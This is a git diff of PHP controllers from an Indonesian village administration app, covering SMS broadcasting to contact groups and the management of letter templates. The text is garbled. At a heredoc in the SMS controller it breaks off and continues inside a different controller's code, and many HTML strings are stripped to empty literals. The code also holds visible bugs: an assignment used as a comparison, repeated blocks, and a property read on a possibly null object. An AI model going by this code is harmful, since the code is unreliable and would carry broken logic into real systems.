+ $data['main'] = $this->sms_model->list_data_terkirim($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['navigasi'] = 'sentitem';
+
+ $this->render('sms/berita_terkirim', $data);
+ }
+
+ public function pending($p = 1, $o = 6)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page;
+
+ $data['per_page'] = $this->session->per_page;
+ $data['paging'] = $this->sms_model->paging_tertunda($p);
+ $data['main'] = $this->sms_model->list_data_tertunda($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['navigasi'] = 'pending';
+
+ $this->render('sms/pesan_tertunda', $data);
+ }
+
+ public function form($tipe = '', $id = 0)
+ {
+ $this->redirect_hak_akses('u');
+
+ $data['tipe'] = $tipe;
+ $data['kontakPenduduk'] = Penduduk::select(['id', 'nama', 'telepon'])->whereNotNull('telepon')->status()->get();
+ $data['kontakEksternal'] = DaftarKontak::select(['id_kontak', 'nama', 'telepon'])->whereNotNull('telepon')->get();
+
+ if ($id) {
+ $data['sms'] = $this->sms_model->get_sms($tipe, $id);
+ $data['form_action'] = site_url("sms/insert/{$tipe}/{$id}");
+
+ $this->load->view('sms/ajax_sms_form', $data);
+ } else {
+ $data['sms'] = null;
+ $data['form_action'] = site_url("sms/insert/{$tipe}");
+
+ $this->load->view('sms/ajax_sms_form_kirim', $data);
+ }
+ }
+
+ public function broadcast()
+ {
+ $data['grupKontak'] = GrupKontak::withCount('anggota')->get();
+ $data['form_action'] = site_url('sms/broadcast_proses');
+
+ $this->load->view('sms/ajax_broadcast_form', $data);
+ }
+
+ public function broadcast_proses()
+ {
+ $this->redirect_hak_akses('u');
+
+ $post = $this->input->post();
+ $isi_pesan = htmlentities($post['TextDecoded']);
+
+ // Ambil daftar anggota grup kontak
+ $daftarAnggota = AnggotaGrup::where('id_grup', bilangan($post['id_grup']))->dataAnggota()->get();
+
+ foreach ($daftarAnggota as $anggota) {
+ $this->sms_model->sendBroadcast([
+ 'DestinationNumber' => $anggota->telepon,
+ 'TextDecoded' => $isi_pesan,
+ ]);
+ }
+
+ redirect('sms/outbox');
+ }
+
+ // Sms
+ public function insert($tipe = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($tipe == 3) {
+ $this->sms_model->update($id);
+ redirect('sms/pending');
+ }
+
+ $this->sms_model->insert();
+ if ($tipe == 1) {
+ redirect('sms');
+ } elseif ($tipe == 2) {
+ redirect('sms/sentitem');
+ } else {
+ redirect('sms/outbox');
+ }
+ }
+
+ public function update($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $this->sms_model->update($id);
+ redirect('sms');
+ }
+
+ public function delete($tipe = 0, $id = '')
+ {
+ $this->redirect_hak_akses('h');
+
+ $this->sms_model->delete($tipe, $id);
+ if ($tipe == 1) {
+ redirect('sms');
+ } elseif ($tipe == 2) {
+ redirect('sms/sentitem');
+ } elseif ($tipe == 3) {
+ redirect('sms/pending');
+ } else {
+ redirect('sms/outbox');
+ }
+ }
+
+ public function deleteAll($tipe = 0)
+ {
+ $this->redirect_hak_akses('h');
+
+ $this->sms_model->deleteAll($tipe);
+ if ($tipe == 1) {
+ redirect('sms');
+ } elseif ($tipe == 2) {
+ redirect('sms/sentitem');
+ } elseif ($tipe == 3) {
+ redirect('sms/pending');
+ } else {
+ redirect('sms/outbox');
+ }
+ }
+
+ // Kirim Pesan (Hubung Warga)
+ public function arsip()
+ {
+ return view('admin.sms.hubung_warga.index', [
+ 'navigasi' => 'arsip',
+ ]);
+ }
+
+ public function arsipDatatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables()->of(HubungWarga::query())
+ ->addColumn('ceklist', static function ($row) {
+ if (can('h')) {
+ return '';
+ }
+ })
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ if (can('h')) {
+ return ' ';
+ }
+ })
+ ->rawColumns(['ceklist', 'aksi'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function kirim()
+ {
+ $this->redirect_hak_akses('u');
+
+ return view('admin.sms.hubung_warga.form', [
+ 'grupKontak' => GrupKontak::withCount('anggota')->get(),
+ 'formAction' => route('sms.proseskirim'),
+ 'navigasi' => 'kirim',
+ ]);
+ }
+
+ public function prosesKirim()
+ {
+ $this->redirect_hak_akses('u');
+
+ $validasi = $this->hubungWargaValidate($this->request);
+
+ // Kirim pesan berdasarkan cara hubung warga
+ $notif = $this->kirimPesanGrup($validasi);
+
+ if ($notif['jumlahBerhasil'] > 0) {
+ HubungWarga::create($validasi);
+ set_session('success', "Berhasil Kirim Pesan {$notif['pesanError']}");
+ } else {
+ set_session('error', "Gagal Kirim Pesan {$notif['pesanError']}");
+ }
+
+ redirect('sms/arsip');
+ }
+
+ // Hanya filter inputan
+ protected function hubungWargaValidate($request = [])
+ {
+ return [
+ 'config_id' => identitas('id'),
+ 'id_grup' => bilangan($request['id_grup']),
+ 'subjek' => htmlentities($request['subjek']),
+ 'isi' => htmlentities($request['isi']),
+ 'created_by' => auth()->id,
+ 'updated_by' => auth()->id,
+ ];
+ }
+
+ protected function kirimPesanGrup($data = [])
+ {
+ $this->load->library('OTP/OTP_manager', null, 'otp');
+
+ $result = [];
+ $daftarAnggota = AnggotaGrup::where('id_grup', bilangan($data['id_grup']))->dataAnggota()->get();
+
+ foreach ($daftarAnggota as $anggota) {
+ // Kirim pesan berdasarkan pilihan hubung warga
+ // Prioritas : berdasarkan pilihan, telegram jika tidak tersedia, jangan kirim
+ switch (true) {
+ case (bool) $this->setting->aktifkan_sms === true && $anggota->hubung_warga = 'SMS' && null !== $anggota->telepon:
+ $kirim = $this->sms_model->sendBroadcast([
+ 'DestinationNumber' => $anggota->telepon,
+ 'TextDecoded' => <<
Tag ID Card : ' . ($item->tag_id_card ?: '-') . '
Nama : ' . $item->nama . '
Alamat : RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun),
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ return show_404();
+ }
+
+ private function pengikutDibawah18Tahun($data)
+ {
+ $pengikut = null;
+ $minUmur = 18;
+ $kk_level = $data['individu']['kk_level'];
+ if ($kk_level == SHDKEnum::KEPALA_KELUARGA) {
+ if (! empty($data['anggota'])) {
+ $pengikut = $data['anggota']->filter(static function ($item) use ($minUmur) {
+ return $item->umur < $minUmur;
+ });
+ }
+ } else {
+ // cek apakah ada penduduk yang nik_ayah atau nik_ibu = nik pemohon
+ $filterColumn = 'ibu_nik';
+ if ($data['individu']['jenis_kelamin'] == JenisKelaminEnum::LAKI_LAKI) {
+ $filterColumn = 'ayah_nik';
+ }
+ $anak = Penduduk::where($filterColumn, $data['individu']['nik'])->withoutGlobalScope('App\Scopes\ConfigIdScope')->get();
+ if ($anak) {
+ $pengikut = $anak->filter(static function ($item) use ($minUmur) {
+ return $item->umur < $minUmur;
+ });
+ }
+ }
+
+ return $pengikut;
+ }
+
+ private function pengikutSuratKIS($data)
+ {
+ return Penduduk::where(['id_kk' => $data['individu']['id_kk']])->get();
+ }
+
+ private function pengikutPindah($data)
+ {
+ return Penduduk::where(['id_kk' => $data['individu']['id_kk']])->get();
+ }
+}
diff --git a/donjo-app/controllers/Surat_master.php b/donjo-app/controllers/Surat_master.php
index 6dd5d5e3e..979ed4150 100644
--- a/donjo-app/controllers/Surat_master.php
+++ b/donjo-app/controllers/Surat_master.php
@@ -1,513 +1,983 @@
-load->model(['surat_master_model']);
+ $this->tinymce = new TinyMCE();
+ $this->modul_ini = 'layanan-surat';
+ $this->sub_modul_ini = 'pengaturan-surat';
+ }
+
+ public function index()
+ {
+ return view('admin.pengaturan_surat.index', [
+ 'jenisSurat' => FormatSurat::JENIS_SURAT,
+ ]);
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables(FormatSurat::jenis($this->input->get('jenis')))
+ ->addColumn('ceklist', static function ($row) {
+ return '';
+ })
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ $aksi = '';
+
+ if (can('u')) {
+ $aksi .= 'id}") . '" class="btn btn-warning btn-sm" title="Ubah Data"> ';
+
+ if ($row->kunci) {
+ $aksi .= 'id}/1") . '" class="btn bg-navy btn-sm" title="Aktifkan Surat"> ';
+ } else {
+ $aksi .= 'id}/0") . '" class="btn bg-navy btn-sm" title="Nonaktifkan Surat"> ';
+
+ if ($row->favorit) {
+ $aksi .= 'id}/1") . '" class="btn bg-purple btn-sm" title="Keluarkan dari Daftar Favorit"> ';
+ } else {
+ $aksi .= 'id}/0") . '" class="btn bg-purple btn-sm" title="Tambahkan ke Daftar Favorit"> ';
+ }
+ }
+ }
+
+ if (can('h') && ($row->jenis === 2 || $row->jenis === 4)) {
+ $aksi .= 'id}") . '" class="btn bg-maroon btn-sm" title="Hapus Data" data-toggle="modal" data-target="#confirm-delete"> ';
+ }
+
+ return $aksi;
+ })
+ ->addColumn('jenis', static function ($row) {
+ return in_array($row->jenis, FormatSurat::RTF) ? 'RTF' : 'TinyMCE';
+ })
+ ->editColumn('lampiran', static function ($row) {
+ return kode_format($row->lampiran);
+ })
+ ->rawColumns(['ceklist', 'aksi', 'template_surat'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function form($id = null)
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($id) {
+ $suratMaster = FormatSurat::findOrFail($id);
+ $kategori_isian = [];
+ $data['kategori_nama'] = get_key_form_kategori($suratMaster->form_isian);
+ $filter_kategori = collect($suratMaster->kode_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) {
+ $kategori_isian[$item->kategori][] = $item;
+
+ return isset($item->kategori);
+ })->values();
+ $data['kategori_isian'] = $kategori_isian;
+
+ $kategori_form = [];
+ $filter_form = collect($suratMaster->form_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) {
+ $kategori_nama[] = $item->kategori;
+ $kategori_isian[$item->kategori][] = $item;
+
+ return isset($item->kategori);
+ })->values();
+
+ $data['kategori_isian'] = $kategori_isian;
+
+ $data['kode_isian'] = collect($suratMaster->kode_isian)->reject(static function ($item) {
+ return isset($item->kategori);
+ })->values();
+
+ $kategori_isian = [];
+ $data['kategori_nama'] = get_key_form_kategori($suratMaster->form_isian);
+ $filter_kategori = collect($suratMaster->kode_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) {
+ $kategori_isian[$item->kategori][] = $item;
+
+ return isset($item->kategori);
+ })->values();
+ $data['kategori_isian'] = $kategori_isian;
+
+ $kategori_form = [];
+ $filter_form = collect($suratMaster->form_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) {
+ $kategori_nama[] = $item->kategori;
+ $kategori_isian[$item->kategori][] = $item;
+
+ return isset($item->kategori);
+ })->values();
+
+ $data['kategori_isian'] = $kategori_isian;
+
+ $data['kode_isian'] = collect($suratMaster->kode_isian)->reject(static function ($item) {
+ return isset($item->kategori);
+ })->values();
+
+ $data['action'] = 'Ubah';
+ $data['suratMaster'] = $suratMaster;
+ $data['klasifikasiSurat'] = KlasifikasiSurat::where('kode', $suratMaster->kode_surat)->first();
+
+ if (in_array($suratMaster->jenis, FormatSurat::RTF)) {
+ $data['formAction'] = route('surat_master.update', $id);
+ $data['qrCode'] = QRCodeExist($suratMaster->url_surat);
+ } else {
+ $data['formAction'] = route('surat_master.update_baru', $id);
+ }
+ } else {
+ $data['action'] = 'Tambah';
+ $data['formAction'] = route('surat_master.insert');
+ $data['suratMaster'] = null;
+ }
+
+ if (in_array($suratMaster->jenis, [3, 4, null])) {
+ $data['margins'] = json_decode($suratMaster->margin) ?? FormatSurat::MARGINS;
+ $data['margin_global'] = $suratMaster->margin_global;
+ $data['orientations'] = FormatSurat::ORIENTATAIONS;
+ $data['sizes'] = FormatSurat::SIZES;
+ $data['default_orientations'] = FormatSurat::DEFAULT_ORIENTATAIONS;
+ $data['default_sizes'] = FormatSurat::DEFAULT_SIZES;
+ $data['qrCode'] = true;
+ $data['header'] = $suratMaster->header ?? 1;
+ $data['footer'] = $suratMaster->footer ?? 1;
+ $data['daftar_lampiran'] = $this->tinymce->getDaftarLampiran();
+ $data['format_nomor'] = $suratMaster->format_nomor;
+ }
+
+ $data['form_isian'] = $this->form_isian();
+ $data['simpan_sementara'] = site_url('surat_master/simpan_sementara');
+ $data['masaBerlaku'] = FormatSurat::MASA_BERLAKU;
+ $data['attributes'] = FormatSurat::ATTRIBUTES;
+ $data['pengaturanSurat'] = SettingAplikasi::whereKategori('format_surat')->pluck('value', 'key')->toArray();
+
+ return view('admin.pengaturan_surat.form', $data);
+ }
+
+ public function apisurat()
+ {
+ if ($this->input->is_ajax_request()) {
+ $cari = $this->input->get('q');
+
+ $surat = KlasifikasiSurat::select(['kode', 'nama'])
+ ->when($cari, static function ($query) use ($cari) {
+ $query->orWhere('kode', 'like', "%{$cari}%")
+ ->orWhere('nama', 'like', "%{$cari}%");
+ })
+ ->orderBy('kode')
+ ->enabled()
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($surat->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->kode,
+ 'text' => $item->kode . ' - ' . $item->nama,
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $surat->currentPage() < $surat->lastPage(),
+ ],
+ ]);
+ }
+
+ return show_404();
+ }
+
+ private function form_isian()
+ {
+ return [
+ 'daftar_jenis_kelamin' => Sex::pluck('nama', 'id'),
+ 'daftar_status_dasar' => StatusDasar::pluck('nama', 'id'),
+ 'daftar_shdk' => SHDKEnum::all(),
+ ];
+ }
+
+ public function syaratSuratDatatables($id = null)
+ {
+ if ($this->input->is_ajax_request()) {
+ $suratMaster = FormatSurat::select('syarat_surat')->find($id);
+
+ return datatables(SyaratSurat::query())
+ ->addColumn('ceklist', static function ($row) use ($suratMaster) {
+ $checked = in_array($row->ref_syarat_id, json_decode($suratMaster->syarat_surat)) ? 'checked' : '';
+
+ return '';
+ })
+ ->addIndexColumn()
+ ->rawColumns(['ceklist'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($this->request['action'] == 'preview') {
+ $this->preview();
+ }
+
+ if (FormatSurat::create(static::validate($this->request))) {
+ redirect_with('success', 'Berhasil Tambah Data');
+ }
+
+ redirect_with('error', 'Gagal Tambah Data');
+ }
+
+ public function simpan_sementara()
+ {
+ $this->redirect_hak_akses('u');
+ $surat = FormatSurat::updateOrCreate(['id' => $this->request['id_surat']], static::validate($this->request));
+ if ($surat) {
+ redirect_with('success', 'Berhasil Simpan Data Sementara', 'surat_master/form/' . $surat->id);
+ }
+
+ redirect_with('error', 'Gagal Simpan Data');
+ }
+
+ public function update_baru($id = null)
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($this->request['action'] == 'preview') {
+ $this->preview();
+ }
+
+ $data = FormatSurat::findOrFail($id);
+
+ if ($data->update(static::validate($this->request, $data->jenis, $id))) {
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ redirect_with('error', 'Gagal Ubah Data');
+ }
+
+ public function update($id = null)
+ {
+ $this->redirect_hak_akses('u');
+ $this->load->model('setting_model');
+
+ if (! empty($this->request['surat'])) {
+ $this->surat_master_model->upload($this->request['url_surat']);
+ }
+
+ $syarat = $this->request['id_cb'];
+ $mandiri = $this->request['mandiri'];
+ unset($_POST['id_cb'], $_POST['tabeldata_length'], $_POST['surat']);
+
+ $id = $this->surat_master_model->update($id);
+
+ if (! empty($id) && $mandiri == 1) {
+ FormatSurat::where('id', $id)->update(['syarat_surat' => json_encode($syarat)]);
+ }
+
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ private function validate($request = [], $jenis = 4, $id = null)
+ {
+ // fix bagian key select-manual
+ $kodeIsian = null;
+ $manual_data = array_values(array_filter($request['pilihan_kode']));
+ if (count($manual_data) > 0) {
+ $data = [];
+ $no = 0;
+
+ for ($i = 0; $i < count($request['tipe_kode']); $i++) {
+ if ($request['tipe_kode'][$i] == 'select-manual') {
+ $data[$i] = $manual_data[$no++];
+ }
+ }
+ }
+
+ for ($i = 0; $i < count($request['tipe_kode']); $i++) {
+ if (empty($request['tipe_kode'][$i])) {
+ continue;
+ }
+
+ $kodeIsian[] = [
+ 'tipe' => $request['tipe_kode'][$i],
+ 'kode' => form_kode_isian($request['nama_kode'][$i]),
+ 'nama' => $request['nama_kode'][$i],
+ 'deskripsi' => $request['deskripsi_kode'][$i],
+ 'required' => $request['required_kode'][$i] ?? '0',
+ 'atribut' => $request['atribut_kode'][$i] ?: null,
+ 'pilihan' => null,
+ 'refrensi' => null,
+ ];
+
+ if ($request['tipe_kode'][$i] == 'select-manual') {
+ $kodeIsian[$i]['pilihan'] = $data[$i];
+ } elseif ($request['tipe_kode'][$i] == 'select-otomatis') {
+ $kodeIsian[$i]['refrensi'] = $request['referensi_kode'][$i];
+ }
+ }
+
+ $formIsian = [
+ 'data' => $request['data_utama'] ?? 1,
+ 'individu' => null,
+ 'data_orang_tua' => $request['data_orang_tua'] ?? 0,
+ 'data_pasangan' => $request['data_pasangan'] ?? 0,
+ ];
+
+ if ($request['data_utama'] != 2) {
+ $formIsian['individu'] = [
+ 'sex' => $request['individu_sex'] ?? null,
+ 'status_dasar' => $request['individu_status_dasar'] ?? null,
+ 'kk_level' => $request['individu_kk_level'] ?? null,
+ ];
+ }
+
+ if (isset($request['kategori'])) {
+ foreach ($request['kategori'] as $kategori) {
+ $formIsian[$kategori] = [
+ 'data' => $request['kategori_data_utama'][$kategori] ?? 1,
+ 'sex' => $request['kategori_individu_sex'][$kategori] ?? null,
+ 'status_dasar' => $request['kategori_status_dasar'][$kategori] ?? null,
+ 'kk_level' => $request['kategori_individu_kk_level'][$kategori] ?? null,
+ ];
+ $manual_data = array_values(array_filter($request['kategori_pilihan_kode'][$kategori]));
+ if (count($manual_data) > 0) {
+ $data = [];
+ $no = 0;
+
+ for ($i = 0; $i < count($request['kategori_tipe_kode'][$kategori]); $i++) {
+ if ($request['kategori_tipe_kode'][$kategori][$i] == 'select-manual') {
+ $data[$i] = $manual_data[$no];
+ // benerin data key nya mungkin
+ $no++;
+ }
+ }
+ }
+
+ for ($i = 0; $i < count($request['kategori_tipe_kode'][$kategori]); $i++) {
+ if (empty($request['kategori_tipe_kode'][$kategori][$i])) {
+ continue;
+ }
+ $kategori_isian = [
+ 'kategori' => $kategori,
+ 'tipe' => $request['kategori_tipe_kode'][$kategori][$i],
+ 'kode' => form_kode_isian($request['kategori_nama_kode'][$kategori][$i]),
+ 'nama' => $request['kategori_nama_kode'][$kategori][$i],
+ 'deskripsi' => $request['kategori_deskripsi_kode'][$kategori][$i],
+ 'required' => $request['kategori_required_kode'][$kategori][$i] ?? '0',
+ 'atribut' => $request['kategori_atribut_kode'][$kategori][$i] ?: null,
+ 'pilihan' => null,
+ 'refrensi' => null,
+ ];
+
+ if ($request['kategori_tipe_kode'][$kategori][$i] == 'select-manual') {
+ $kategori_isian['pilihan'] = $data[$i];
+ } elseif ($request['kategori_tipe_kode'][$kategori][$i] == 'select-otomatis') {
+ $kategori_isian['refrensi'] = $request['kategori_referensi_kode'][$kategori][$i];
+ }
+ $kodeIsian[] = $kategori_isian;
+ }
+ unset($data);
+ }
+ }
+ $data = [
+ 'config_id' => identitas('id'),
+ 'nama' => nama_surat($request['nama']),
+ 'kode_surat' => $request['kode_surat'],
+ 'masa_berlaku' => $request['masa_berlaku'],
+ 'satuan_masa_berlaku' => $request['satuan_masa_berlaku'],
+ 'jenis' => $jenis,
+ 'mandiri' => $request['mandiri'],
+ 'syarat_surat' => $request['mandiri'] ? json_encode($request['id_cb']) : null,
+ 'qr_code' => $request['qr_code'],
+ 'logo_garuda' => $request['logo_garuda'],
+ 'kecamatan' => (int) ((setting('tte') == StatusEnum::YA) ? $request['kecamatan'] : 0),
+ 'template_desa' => $request['template_desa'],
+ 'form_isian' => json_encode($formIsian),
+ 'kode_isian' => json_encode($kodeIsian),
+ 'orientasi' => $request['orientasi'],
+ 'ukuran' => $request['ukuran'],
+ 'lampiran' => implode(',', $request['lampiran']),
+ 'header' => (int) $request['header'],
+ 'footer' => (int) $request['footer'],
+ 'format_nomor' => $request['format_nomor'],
+ // 'margin' => $request['format_nomor']
+ ];
+
+ if (null === $id) {
+ if (in_array($jenis, FormatSurat::RTF)) {
+ $data['url_surat'] = unique_slug('tweb_surat_format', "surat_{$data['nama']}", $id, 'url_surat', '_');
+ } else {
+ $data['url_surat'] = unique_slug('tweb_surat_format', "surat-{$data['nama']}", $id, 'url_surat', '-');
+ }
+ }
+
+ // Margin
+ if ($request['margin_global'] == 1) {
+ $data['margin_global'] = 1;
+ } else {
+ $data['margin_global'] = 0;
+ }
+ $data['margin'] = json_encode([
+ 'kiri' => (float) $request['kiri'],
+ 'atas' => (float) $request['atas'],
+ 'kanan' => (float) $request['kanan'],
+ 'bawah' => (float) $request['bawah'],
+ ]);
+
+ return $data;
+ }
+
+ public function kodeIsian($id = null)
+ {
+ $suratMaster = FormatSurat::select(['kode_isian'])->first($id) ?? show_404();
+
+ return view('admin.pengaturan_surat.kode_isian', compact('suratMaster'));
+ }
+
+ public function kunci($id = null, $val = 0)
+ {
+ $this->redirect_hak_akses('u');
+
+ $favorit = FormatSurat::findOrFail($id);
+ $favorit->update(['kunci' => ($val == 1) ? 0 : 1]);
+
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ public function favorit($id = null, $val = 0)
+ {
+ $this->redirect_hak_akses('u');
+
+ $favorit = FormatSurat::findOrFail($id);
+ $favorit->update(['favorit' => ($val == 1) ? 0 : 1]);
+
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ public function delete($id = null)
+ {
+ $this->redirect_hak_akses('h');
+
+ if ($this->surat_master_model->delete($id)) {
+ redirect_with('success', 'Berhasil Hapus Data');
+ }
+
+ redirect_with('error', 'Gagal Hapus Data');
+ }
+
+ public function deleteAll()
+ {
+ $this->redirect_hak_akses('h');
+
+ if ($this->surat_master_model->deleteAll()) {
+ redirect_with('success', 'Berhasil Hapus Data');
+ }
+
+ redirect_with('error', 'Gagal Hapus Data');
+ }
+
+ public function delete_template_desa($url_surat = '')
+ {
+ $this->redirect_hak_akses('h');
+
+ if ($this->surat_master_model->delete_template_desa($url_surat)) {
+ redirect_with('success', 'Berhasil Hapus Template Desa');
+ }
+
+ redirect_with('error', 'Gagal Hapus Template Desa');
+ }
+
+ // Tambahkan surat desa jika folder surat tidak ada di surat master
+ public function perbarui()
+ {
+ $this->redirect_hak_akses('u', null, null, true);
+
+ $folderSuratDesa = glob(LOKASI_SURAT_DESA . '*', GLOB_ONLYDIR);
+ $daftarSurat = [];
+
+ if ($folderSuratDesa) {
+ foreach ($folderSuratDesa as $surat) {
+ $url_surat = str_replace(LOKASI_SURAT_DESA, '', $surat);
+
+ // Hanya folder dengan nama depat surat_ yg akan di simpan
+ if (preg_match('/surat_/i', $url_surat)) {
+ $surat_baru = underscore(trim(preg_replace('/[^a-zA-Z0-9 \\_]/', ' ', $url_surat)), true, true);
+ $lokasi_baru = LOKASI_SURAT_DESA . $surat_baru;
+
+ // Ubah nama folder penyimpanan template surat
+ rename($surat, $lokasi_baru);
+
+ // Ubah nama file surat
+ rename($lokasi_baru . '/' . $url_surat . '.rtf', $lokasi_baru . '/' . $surat_baru . '.rtf');
+ rename($lokasi_baru . '/' . $url_surat . '.php', $lokasi_baru . '/' . $surat_baru . '.php');
+ rename($lokasi_baru . '/data_rtf_' . $url_surat . '.php', $lokasi_baru . '/data_rtf_' . $surat_baru . '.php');
+ rename($lokasi_baru . '/data_form_' . $url_surat . '.php', $lokasi_baru . '/data_form_' . $surat_baru . '.php');
+
+ if (! FormatSurat::isExist($url_surat)) {
+ $data = [];
+ $data['jenis'] = 2;
+ $data['nama'] = ucwords(trim(str_replace(['surat_', '_'], ' ', $surat_baru)));
+ $data['url_surat'] = $surat_baru;
+
+ FormatSurat::create($data);
+ }
+
+ $daftarSurat[] = $url_surat;
+ }
+ }
+
+ // Hapus surat ubahan desa yg sudah tidak ada
+ FormatSurat::where('jenis', 2)->whereNotIn('url_surat', $daftarSurat)->delete();
+ }
+
+ redirect_with('success', 'Berhasil Perbaharui Data');
+ }
+
+ public function pengaturan()
+ {
+ $data['font_option'] = SettingAplikasi::where('key', '=', 'font_surat')->first()->option;
+ $data['tte_demo'] = empty($this->setting->tte_api) || get_domain($this->setting->tte_api) === get_domain(APP_URL);
+ $data['kades'] = User::where('active', '=', 1)->whereHas('pamong', static function ($query) {
+ return $query->where('jabatan_id', '=', kades()->id);
+ })->exists();
+ $data['sekdes'] = User::where('active', '=', 1)->whereHas('pamong', static function ($query) {
+ return $query->where('jabatan_id', '=', sekdes()->id);
+ })->exists();
+ $data['aksi'] = route('surat_master.update');
+ $data['formAksi'] = route('surat_master.edit_pengaturan');
+ $margin = setting('surat_margin');
+ $data['margins'] = json_decode($margin) ?? FormatSurat::MARGINS;
+
+ return view('admin.pengaturan_surat.pengaturan', $data);
+ }
+
+ public function edit_pengaturan()
+ {
+ $this->redirect_hak_akses('u');
+ $this->load->model('setting_model');
+ $data = $this->validasi_pengaturan($this->request);
+
+ foreach ($data as $key => $value) {
+ SettingAplikasi::where('key', '=', $key)->update(['value' => $value]);
+ }
+
+ // upload gambar visual tte
+ if ($_FILES['visual_tte_gambar'] && $_FILES['visual_tte_gambar']['name'] != '') {
+ $file = $this->setting_model->upload_img('visual_tte_gambar', LOKASI_MEDIA);
+ SettingAplikasi::where('key', '=', 'visual_tte_gambar')->update(['value' => $file]); //update setting
+ }
+
+ // Perbarui log_surat jika ada perubahan pengaturan verifikasi kades / sekdes
+ if (! setting('verifikasi_kades') || ! setting('verifikasi_sekdes')) {
+ LogSurat::where('verifikasi_operator', LogSurat::PERIKSA)->update(['verifikasi_operator' => LogSurat::TERIMA]);
+
+ redirect_with('success', 'Berhasil Ubah Data dan Perbaharui Log Surat');
+ }
+
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ protected static function validasi_pengaturan($request)
+ {
+ $validasi = [
+ 'tinggi_header' => (float) $request['tinggi_header'],
+ 'header_surat' => $request['header_surat'],
+ 'tinggi_footer' => (float) $request['tinggi_footer'],
+ 'verifikasi_sekdes' => (int) $request['verifikasi_sekdes'],
+ 'verifikasi_kades' => ((int) $request['tte'] == StatusEnum::YA) ? StatusEnum::YA : (int) $request['verifikasi_kades'],
+ 'tte' => (int) $request['tte'],
+ 'font_surat' => alfanumerik_spasi($request['font_surat']),
+ 'visual_tte' => (int) $request['visual_tte'],
+ 'visual_tte_weight' => (int) $request['visual_tte_weight'],
+ 'visual_tte_height' => (int) $request['visual_tte_height'],
+ 'format_nomor_surat' => $request['format_nomor_surat'],
+ 'surat_margin' => json_encode($request['surat_margin']),
+ ];
+
+ if ($validasi['tte'] == StatusEnum::YA) {
+ $validasi['footer_surat_tte'] = $request['footer_surat_tte'];
+ $validasi['tte_api'] = alamat_web($request['tte_api']);
+ $validasi['tte_username'] = $request['tte_username'];
+ $validasi['tte_password'] = $request['tte_password'];
+ } else {
+ $validasi['footer_surat'] = $request['footer_surat'];
+ }
+
+ if ($request['visual_tte_gambar'] != null) {
+ $validasi['visual_tte_gambar'] = $request['visual_tte_gambar'];
+ }
+
+ return $validasi;
+ }
+
+ public function kode_isian($jenis = 'isi', $id = null)
+ {
+ if ($this->input->is_ajax_request()) {
+ $log_surat['surat'] = FormatSurat::find($id);
+ $daftar_kategori = get_key_form_kategori($log_surat['surat']->form_isian);
+
+ foreach ($daftar_kategori as $kategori) {
+ $log_surat['kategori'][$kategori] = null;
+ }
+
+ $kode_isian = $this->tinymce->getFormatedKodeIsian($log_surat);
+
+ foreach ($daftar_kategori as $kategori) {
+ $log_surat['kategori'][$kategori] = null;
+ }
+
+ $kode_isian = $this->tinymce->getFormatedKodeIsian($log_surat);
+
+ return json($kode_isian);
+ }
+
+ return show_404();
+ }
+
+ public function salin_template($jenis = 'isi')
+ {
+ if ($this->input->is_ajax_request()) {
+ if ($jenis == 'isi') {
+ $template = $this->tinymce->getTemplateSurat();
+ } else {
+ $template = $this->tinymce->getTemplate();
+ }
+
+ return json($template);
+ }
+
+ return show_404();
+ }
+
+ public function preview()
+ {
+ $setting_header = $this->request['header'] == StatusEnum::YA ? setting('header_surat') : '';
+ $setting_footer = $this->request['footer'] == StatusEnum::YA ? (setting('tte') == StatusEnum::YA ? setting('footer_surat_tte') : setting('footer_surat')) : '';
+ $data['isi_surat'] = preg_replace('/\\\\/', '', $setting_header) . '' . ($this->request['template_desa']) . '' . preg_replace('/\\\\/', '', $setting_footer);
+
+ if ($this->request['data_utama'] == 1) {
+ $data['id_pend'] = Penduduk::filters([
+ 'sex' => $this->request['individu_sex'],
+ 'status_dasar' => $this->request['individu_status_dasar'],
+ 'kk_level' => $this->request['individu_kk_level'],
+ ])->first('id')->id;
+
+ if (! $data['id_pend']) {
+ redirect_with('error', 'Tidak ditemukan penduduk untuk dijadikan contoh');
+ }
+ } else {
+ $data['nik_non_warga'] = '1234567890123456';
+ $data['nama_non_warga'] = 'Nama Non Warga';
+ }
+
+ for ($i = 0; $i < count($this->request['tipe_kode']); $i++) {
+ if (empty($this->request['tipe_kode'][$i])) {
+ continue;
+ }
+
+ $kode = $this->request['nama_kode'][$i];
+
+ if ($this->request['tipe_kode'][$i] == 'select-manual') {
+ $pilihan = json_decode(preg_replace('/[\r\n\t]/', '', $this->request['pilihan_kode'][$i]), true);
+ $kode_isian = $pilihan[array_rand($pilihan)];
